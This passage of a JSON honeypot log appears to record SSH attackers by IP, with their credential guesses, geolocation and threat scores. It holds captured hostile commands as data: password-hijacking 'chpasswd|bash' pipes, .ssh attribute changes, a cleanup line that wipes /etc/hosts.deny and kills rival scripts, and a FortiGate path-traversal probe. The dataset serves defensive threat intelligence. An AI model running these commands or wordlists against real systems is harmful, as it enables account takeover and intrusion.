        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": "Jakarta",
      "asn": 7713,
      "as_org": "PT Telekomunikasi Indonesia",
      "threat_score": 11.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 24.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 300,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-10T02:08:49.562000+00:00",
        "last_seen_30d": "2026-03-10T02:35:44.980000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 261,
        "Suricata": 39
      }
    },
    "103.210.22.17": {
      "attack_count": 260,
      "first_seen": "2026-03-12T16:05:01.892Z",
      "last_seen": "2026-03-12T16:29:44.978Z",
      "sessions": 17,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "oneadmin",
        "tv",
        "abhishek",
        "administrador",
        "claude",
        "miguel",
        "ming",
        "odm",
        "pyramid",
        "sky"
      ],
      "passwords_attempted": [
        "345gs5662d34",
        "12345678",
        "3245gs5662d34",
        "12345",
        "123456",
        "miguel",
        "mingpass",
        "oneadmin123!",
        "password",
        "pyramid",
        "sky"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"12345\\nKpFvL1imcDQm\\nKpFvL1imcDQm\\n\"|passwd",
        "echo \"oneadmin123!\\nfeDtpKh3EG9J\\nfeDtpKh3EG9J\\n\"|passwd",
        "echo \"password\\nNYY9aRdyJL9V\\nNYY9aRdyJL9V\\n\"|passwd",
        "echo -e \"12345\\nKpFvL1imcDQm\\nKpFvL1imcDQm\"|passwd|bash",
        "echo -e \"oneadmin123!\\nfeDtpKh3EG9J\\nfeDtpKh3EG9J\"|passwd|bash",
        "echo -e \"password\\nNYY9aRdyJL9V\\nNYY9aRdyJL9V\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": null,
      "asn": 135377,
      "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
      "threat_score": 13.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 24.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 299,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-12T16:05:01.892000+00:00",
        "last_seen_30d": "2026-03-12T16:30:46.121000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 260,
        "Suricata": 39
      }
    },
    "45.116.78.92": {
      "attack_count": 257,
      "first_seen": "2026-03-19T19:06:49.824Z",
      "last_seen": "2026-03-19T19:31:32.661Z",
      "sessions": 16,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "max",
        "postgres",
        "testuser",
        "eder",
        "john",
        "m1",
        "mob",
        "odin",
        "qwerty",
        "root"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "1",
        "123",
        "12345",
        "Aa@1234567",
        "Eder123",
        "M1123",
        "john",
        "password",
        "postgres123",
        "testpass"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"1\\n7bepdaRp6hvj\\n7bepdaRp6hvj\\n\"|passwd",
        "echo \"postgres123\\n5wbun6leWcWM\\n5wbun6leWcWM\\n\"|passwd",
        "echo \"testpass\\nm42rtWZHDh8z\\nm42rtWZHDh8z\\n\"|passwd",
        "echo -e \"1\\n7bepdaRp6hvj\\n7bepdaRp6hvj\"|passwd|bash",
        "echo -e \"postgres123\\n5wbun6leWcWM\\n5wbun6leWcWM\"|passwd|bash",
        "echo -e \"testpass\\nm42rtWZHDh8z\\nm42rtWZHDh8z\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": null,
      "asn": 24544,
      "as_org": "Overcasts Limited",
      "threat_score": 22.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 299,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-19T19:06:49.824000+00:00",
        "last_seen_30d": "2026-03-19T19:32:41.274000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 257,
        "Suricata": 42
      }
    },
    "201.149.53.243": {
      "attack_count": 243,
      "first_seen": "2026-03-09T20:49:10.256Z",
      "last_seen": "2026-03-21T16:25:55.343Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "auditor",
        "clawd",
        "admin",
        "bitwarden",
        "bot",
        "elemental",
        "grafana",
        "hosting",
        "jitendra",
        "kodi",
        "mahesh",
        "mailtest",
        "matic",
        "nginx",
        "sambauser",
        "temp",
        "vamsi",
        "yzh"
      ],
      "passwords_attempted": [
        "123456",
        "3245gs5662d34",
        "345gs5662d34",
        "password",
        "123",
        "123123",
        "1234",
        "12345",
        "Asd123asd",
        "Temp123!",
        "Vamsi123",
        "abcd123",
        "auditor1234",
        "bitwarden123",
        "elemental123!",
        "mahesh1234",
        "matic",
        "qweasd123",
        "vps@2025",
        "yzh1234"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"123456\\nih4emAJFObpx\\nih4emAJFObpx\\n\"|passwd",
        "echo \"auditor1234\\n4nxtS2Do17Fp\\n4nxtS2Do17Fp\\n\"|passwd",
        "echo -e \"123456\\nih4emAJFObpx\\nih4emAJFObpx\"|passwd|bash",
        "echo -e \"auditor1234\\n4nxtS2Do17Fp\\n4nxtS2Do17Fp\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Mexico",
      "country_code": "MX",
      "city": "Benito Juarez",
      "asn": 14178,
      "as_org": "Megacable Comunicaciones de Mexico, S.A. de C.V.",
      "threat_score": 31.7,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.8,
        "persistence": 10.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 301,
        "days_active_30d": 13,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-09T20:49:10.256000+00:00",
        "last_seen_30d": "2026-03-21T16:27:05.255000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 243,
        "Suricata": 58
      }
    },
    "46.37.66.191": {
      "attack_count": 236,
      "first_seen": "2026-03-31T09:01:49.389Z",
      "last_seen": "2026-03-31T09:58:24.115Z",
      "sessions": 24,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "1030",
        "12141214",
        "123456",
        "1234qwer`",
        "Crystal2024",
        "Rs123456.",
        "accessme",
        "admin@123.com",
        "haohaoxuexi",
        "invade",
        "ll@123456",
        "lolita",
        "mash4077",
        "password!2026",
        "password3",
        "qaz123#@!",
        "skguest2026",
        "woaini1314!"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:ZdUntfEr0XTG\"|chpasswd|bash",
        "echo \"root:s9hflYNJXi3q\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Spain",
      "country_code": "ES",
      "city": "M\u00e1laga",
      "asn": 34977,
      "as_org": "Procono S.A.",
      "threat_score": 37.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 294,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-31T09:01:49.389000+00:00",
        "last_seen_30d": "2026-03-31T09:59:26.453000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 236,
        "Suricata": 58
      }
    },
    "103.121.157.77": {
      "attack_count": 232,
      "first_seen": "2026-03-19T17:42:09.065Z",
      "last_seen": "2026-03-31T02:15:11.835Z",
      "sessions": 23,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "bayu",
        "admin",
        "cloudera",
        "demouser",
        "eric",
        "gast",
        "mohamed",
        "orangepi",
        "paula",
        "rails",
        "student4",
        "test",
        "test123",
        "unifi",
        "virl",
        "wilson"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123",
        "1234",
        "12345",
        "123456",
        "P",
        "Test123123",
        "admin",
        "bayu123",
        "demouser@123456",
        "eric@123",
        "orangepi",
        "password",
        "paulapaula",
        "rails123",
        "student4pass",
        "test@123456",
        "virl@123456",
        "wilson"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"bayu123\\nOtmhbDvdZYe3\\nOtmhbDvdZYe3\\n\"|passwd",
        "echo \"root:1AsssdoeAZpS\"|chpasswd|bash",
        "echo -e \"bayu123\\nOtmhbDvdZYe3\\nOtmhbDvdZYe3\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "India",
      "country_code": "IN",
      "city": null,
      "asn": 137654,
      "as_org": "Netstra Communications Pvt Ltd",
      "threat_score": 47.4,
      "threat_level": "medium",
      "score_components": {
        "frequency": 24.6,
        "persistence": 10.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 287,
        "days_active_30d": 13,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-19T17:42:09.065000+00:00",
        "last_seen_30d": "2026-03-31T02:16:13.199000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 232,
        "Suricata": 55
      }
    },
    "137.184.205.10": {
      "attack_count": 219,
      "first_seen": "2026-03-03T20:03:03.207Z",
      "last_seen": "2026-03-03T20:26:45.857Z",
      "sessions": 38,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin"
      ],
      "passwords_attempted": [
        "123456",
        "password",
        "1",
        "12",
        "123",
        "1234",
        "12345",
        "1234567",
        "12345678",
        "123456789",
        "1234567890",
        "admin",
        "passw0rd",
        "root",
        "root1",
        "root12",
        "root123",
        "root1234",
        "root12345",
        "root123456"
      ],
      "commands_executed": [
        "cat /proc/uptime 2 > /dev/null | cut -d. -f1",
        "uname -m 2 > /dev/null",
        "uname -s -v -n -m 2 > /dev/null"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.command.failed",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.file_download"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "North Bergen",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 3.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 24.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 301,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-03T20:02:41.628000+00:00",
        "last_seen_30d": "2026-03-03T20:27:55.433000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 219,
        "Suricata": 82
      }
    },
    "42.96.20.16": {
      "attack_count": 193,
      "first_seen": "2026-03-11T13:10:43.018Z",
      "last_seen": "2026-03-11T13:37:32.528Z",
      "sessions": 15,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "n8n",
        "sav",
        "angel",
        "arkserver",
        "awsuser",
        "cody",
        "common",
        "java",
        "jboss",
        "roman",
        "sgp"
      ],
      "passwords_attempted": [
        "12345",
        "12345678",
        "3245gs5662d34",
        "345gs5662d34",
        "123",
        "123456",
        "Awsuser123!",
        "angel",
        "cody1234",
        "n8n",
        "password"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"123456\\nN2IFvUqhdHWh\\nN2IFvUqhdHWh\\n\"|passwd",
        "echo \"n8n\\npid9a6NUAONS\\npid9a6NUAONS\\n\"|passwd",
        "echo -e \"123456\\nN2IFvUqhdHWh\\nN2IFvUqhdHWh\"|passwd|bash",
        "echo -e \"n8n\\npid9a6NUAONS\\npid9a6NUAONS\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": null,
      "asn": 131423,
      "as_org": "Branch of Long Van System Solution JSC - Hanoi",
      "threat_score": 12.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 23.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 228,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-11T13:10:43.018000+00:00",
        "last_seen_30d": "2026-03-11T13:38:39.603000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 193,
        "Suricata": 35
      }
    },
    "101.47.156.170": {
      "attack_count": 188,
      "first_seen": "2026-03-15T04:15:53.153Z",
      "last_seen": "2026-03-15T04:37:25.001Z",
      "sessions": 14,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "francisco",
        "gitlabuser",
        "hr",
        "jitendra",
        "lan",
        "mm",
        "peer",
        "root",
        "solr",
        "vintagestory"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "1234",
        "Jitendra123",
        "Lan123!",
        "Mm123",
        "Peer123",
        "hr@123",
        "password",
        "solr123",
        "vintagestory123",
        "zxcvbnm,./123"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"1234\\nJY7RqTkltoax\\nJY7RqTkltoax\\n\"|passwd",
        "echo \"password\\nStu1YFGAuhQf\\nStu1YFGAuhQf\\n\"|passwd",
        "echo -e \"1234\\nJY7RqTkltoax\\nJY7RqTkltoax\"|passwd|bash",
        "echo -e \"password\\nStu1YFGAuhQf\\nStu1YFGAuhQf\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 150436,
      "as_org": "Byteplus Pte. Ltd.",
      "threat_score": 16.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 23.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 220,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-15T04:15:53.153000+00:00",
        "last_seen_30d": "2026-03-15T04:38:31.832000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 188,
        "Suricata": 32
      }
    },
    "20.153.204.5": {
      "attack_count": 168,
      "first_seen": "2026-03-26T19:24:54.365Z",
      "last_seen": "2026-03-26T21:02:03.055Z",
      "sessions": 22,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "123QWERTY",
        "123Qaz123",
        "123asd!@#ASD",
        "1Samora4u",
        "3245gs5662d34",
        "345gs5662d34",
        "Darwin2026",
        "Digital@2026",
        "Mf123456.",
        "P@ssw0rd!@#$",
        "Parola!23",
        "Qwer123!",
        "Support!2026",
        "hp123!@#",
        "korea111",
        "lofasz",
        "printemps",
        "rootsuper",
        "sayangku",
        "t3st1ng"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:Z8wywTamzAqv\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Japan",
      "country_code": "JP",
      "city": "Tokyo",
      "asn": 8069,
      "as_org": "Microsoft Corporation",
      "threat_score": 30.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 23.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 232,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-26T19:24:54.365000+00:00",
        "last_seen_30d": "2026-03-26T21:03:03.336000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 168,
        "Suricata": 64
      }
    },
    "144.217.161.30": {
      "attack_count": 144,
      "first_seen": "2026-03-19T08:17:14.998Z",
      "last_seen": "2026-03-19T08:44:52.583Z",
      "sessions": 17,
      "ports": [],
      "usernames_attempted": [
        "kafka",
        "root",
        "345gs5662d34",
        "compras",
        "grafana",
        "harish",
        "io",
        "jeremy",
        "moodle",
        "mqm",
        "ninja",
        "omm",
        "ppp",
        "recepcion",
        "scp"
      ],
      "passwords_attempted": [
        "123",
        "!Q2w#E4r",
        "3245gs5662d34",
        "345gs5662d34",
        "Aw123456",
        "Compras",
        "Grafana123",
        "Kafka",
        "Mqm123!",
        "Omm123!",
        "Ppp",
        "Recepcion",
        "Scp123",
        "io123",
        "moodle@123456",
        "ninja123"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"Kafka\\nZXhKaqLbrcwb\\nZXhKaqLbrcwb\\n\"|passwd",
        "echo -e \"Kafka\\nZXhKaqLbrcwb\\nZXhKaqLbrcwb\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Canada",
      "country_code": "CA",
      "city": "Beauharnois",
      "asn": 16276,
      "as_org": "OVH SAS",
      "threat_score": 21.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 22.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 184,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-19T08:17:14.998000+00:00",
        "last_seen_30d": "2026-03-19T08:46:00.275000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 144,
        "Suricata": 40
      }
    },
    "64.225.73.206": {
      "attack_count": 136,
      "first_seen": "2026-03-03T20:06:52.924Z",
      "last_seen": "2026-03-03T20:28:51.213Z",
      "sessions": 23,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin"
      ],
      "passwords_attempted": [
        "admin",
        "000000",
        "111111",
        "123",
        "123123",
        "1234",
        "12345",
        "123456",
        "12345678",
        "123456789",
        "1q2w3e4r",
        "654321",
        "P@ssw0rd",
        "admin123",
        "passw0rd",
        "password",
        "password1",
        "qwerty",
        "root",
        "root123"
      ],
      "commands_executed": [
        "cat /proc/uptime 2 > /dev/null | cut -d. -f1",
        "uname -m 2 > /dev/null",
        "uname -s -v -n -m 2 > /dev/null"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.command.failed",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.file_download"
      ],
      "country": "Netherlands",
      "country_code": "NL",
      "city": "Amsterdam",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 3.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 22.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 188,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-03T20:06:52.924000+00:00",
        "last_seen_30d": "2026-03-03T20:38:51.359000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 136,
        "Suricata": 52
      }
    },
    "45.95.147.229": {
      "attack_count": 135,
      "first_seen": "2026-03-29T04:18:23.300Z",
      "last_seen": "2026-03-29T14:41:06.333Z",
      "sessions": 29,
      "ports": [],
      "usernames_attempted": [
        "Accept: */*",
        "User-Agent: python-requests/2.27.1",
        "GET /_asterisk/graph.php HTTP/1.1",
        "GET /_asterisk/phpversions.php HTTP/1.1",
        "GET /admin/assets/js/views/login.js HTTP/1.1",
        "GET /admin/views/config.php HTTP/1.1",
        "GET /assets HTTP/1.1",
        "GET /assets/graph.php HTTP/1.1",
        "GET /assets/phpversions.php HTTP/1.1",
        "GET /digium_phones/ajax.php HTTP/1.1",
        "GET /recordings/graph.php HTTP/1.1",
        "GET /recordings/index.php HTTP/1.1",
        "GET /recordings/misc/phpversions.php HTTP/1.1",
        "GET /recordings/theme/main.css HTTP/1.1",
        "GET /remote/fgt_lang?lang=/../../../..//////////dev/cmdb/sslvpn_websession HTTP/1.1",
        "GET /restapps/ HTTP/1.1"
      ],
      "passwords_attempted": [
        "Host: 172.105.186.117:23",
        "Accept-Encoding: gzip, deflate",
        "Connection: keep-alive"
      ],
